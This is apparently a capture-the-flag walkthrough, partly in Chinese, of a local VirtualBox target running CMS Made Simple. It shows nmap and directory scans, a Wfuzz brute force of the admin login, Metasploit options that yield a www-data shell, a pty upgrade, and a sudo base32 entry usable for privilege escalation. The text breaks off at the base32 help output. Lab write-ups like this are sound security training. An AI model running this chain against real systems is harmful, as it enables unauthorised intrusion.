IP=192.168.0.129 nmap $IP -p- -sV -A Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 04:16 EDT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE Timing: About 0.00% done Nmap scan report for express.nyx (192.168.0.129) Host is up (0.00049s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 54:0a:75:c5:26:56:f5:b0:5f:6d:e1:e0:77:15:c7:0d (RSA) | 256 0b:d7:89:52:2d:13:16:cb:74:96:f5:5f:dd:3e:52:8e (ECDSA) |_ 256 5a:90:0c:f5:2b:7f:ba:1c:83:02:4d:e7:a2:a2:1d:5b (ED25519) 53/tcp filtered domain 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Home - cool_cms |_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved. 6660/tcp open unknown | fingerprint-strings: | NULL, Socks5: | MESSAGE FOR WWW-DATA: | [31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house... |_ Paul 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port6660-TCP:V=7.94SVN%I=7%D=4/24%Time=6809F375%P=x86_64-pc-linux-gnu%r SF:(NULL,A5,"\n\n\x20\x20\x20MESSAGE\x20FOR\x20WWW-DATA:\n\n\x20\x1b\[31m\ SF:x20\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x20if\x20you\x20a SF:gree\x20to\x20destroy\x20all\x20your\x20stupid\x20work,\x20then\x20you\ SF:x20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\n\x20\x20\x20Paul\x20 SF:\x1b\[0m\n")%r(Socks5,A5,"\n\n\x20\x20\x20MESSAGE\x20FOR\x20WWW-DATA:\n SF:\n\x20\x1b\[31m\x20\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x SF:20if\x20you\x20agree\x20to\x20destroy\x20all\x20your\x20stupid\x20work, SF:\x20then\x20you\x20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\n\x20 SF:\x20\x20Paul\x20\x1b\[0m\n"); MAC Address: 08:00:27:D3:B6:08 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.49 ms express.nyx (192.168.0.129)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.97 seconds
---- Entering directory: http://192.168.0.129/assets/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway)
---- Entering directory: http://192.168.0.129/doc/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway)
---- Entering directory: http://192.168.0.129/lib/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway)
---- Entering directory: http://192.168.0.129/modules/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway)
---- Entering directory: http://192.168.0.129/tmp/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway)
---- Entering directory: http://192.168.0.129/admin/themes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway)
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.0.129/admin/login.php Total requests: 14344392
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000001009: 302 0 L 0 W 0 Ch "bullshit" 000001960: 200 81 L 281 W 4601 Ch "freckles"
Total time: 34.09296 Processed Requests: 1959 Filtered Requests: 1958
PASSWORD bullshit yes Password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.0.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base cmsms directory path USERNAME admin yes Username to authenticate with VHOST no HTTP server virtual host
run shell id uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
拿到 webshell。
提权 User
看下进程发现：
1 2 3 4 5 6 7
ps aux
paul 396 0.0 0.0 2388 756 ? Ss 09:23 0:00 /bin/sh -c bash /home/paul/.local/chaos.sh paul 425 0.0 0.1 6644 3104 ? S 09:23 0:01 bash /home/paul/.local/chaos.sh paul 426 0.0 0.1 6644 2988 ? S 09:23 0:00 bash /home/paul/.local/msg.sh paul 431 0.0 0.0 2372 1724 ? S 09:23 0:00 nc -vlnp 6660
这个时候才想起来，nmap 也扫出来了 6660 端口，当时还有一句神奇的话，还没去管：
1 2 3 4 5 6
6660/tcp open unknown | fingerprint-strings: | NULL, Socks5: | MESSAGE FOR WWW-DATA: | [31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house... |_ Paul
paul@debian:~/.local$ cat * #!/bin/bash whiletrue do path=$(ls -A '/var/www/html') if [[ ! -z "$path" ]]; then sleep 1 else echo"Password is: YouCanBecomePaul" > /home/paul/password.txt fi done
whiletrue ; doecho -e "\n\n MESSAGE FOR WWW-DATA:\n\n \033[31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...\n Paul \033[0m" |nc -vlnp 6660 ; done cat: share: est un dossier
paul@debian:~$ sudo -l [sudo] Mot de passe de paul : Entrées par défaut pour paul sur debian : env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
L'utilisateur paul peut utiliser les commandes suivantes sur debian : (nico) /usr/bin/base32
paul@debian:~$ sudo -u nico /usr/bin/base32 --help Utilisation : /usr/bin/base32 [OPTION]... [FICHIER] Encoder ou décoder le FICHIER ou l'entrée standard en base32, vers la sortie standard. Sans FICHIER ou quand FICHIER est -, lire l'entrée standard.
Les arguments obligatoires pour les options longues le sont aussi pour les options courtes. -d, --decode décoder les données -i, --ignore-garbage lors du décodage, ignorer les caractères non alphabétiques -w, --wrap=COLS effectuer la césure des lignes après COLS caractères (76 par défaut). Utilisez 0 pour désactiver la césure
--help afficher l'aide et quitter --version afficher des informations de version et quitter Les données sont codées comme décrit pour l'alphabet base32 dans la RFC 4648. Lors du décodage, l'entrée peut contenir des sauts de lignes en plus des octets de l'alphabet base32 formel. Utilisez --ignore-garbage pour tenter de récupérer tout autre octet non alphabétique dans le flux codé.
Aide en ligne de GNU coreutils : <https://www.gnu.org/software/coreutils/> Signalez les problèmes de traduction de « base32 » à : <[email protected]> Documentation complète à : <https://www.gnu.org/software/coreutils/base32> ou disponible localement via: info '(coreutils) base32 invocation'
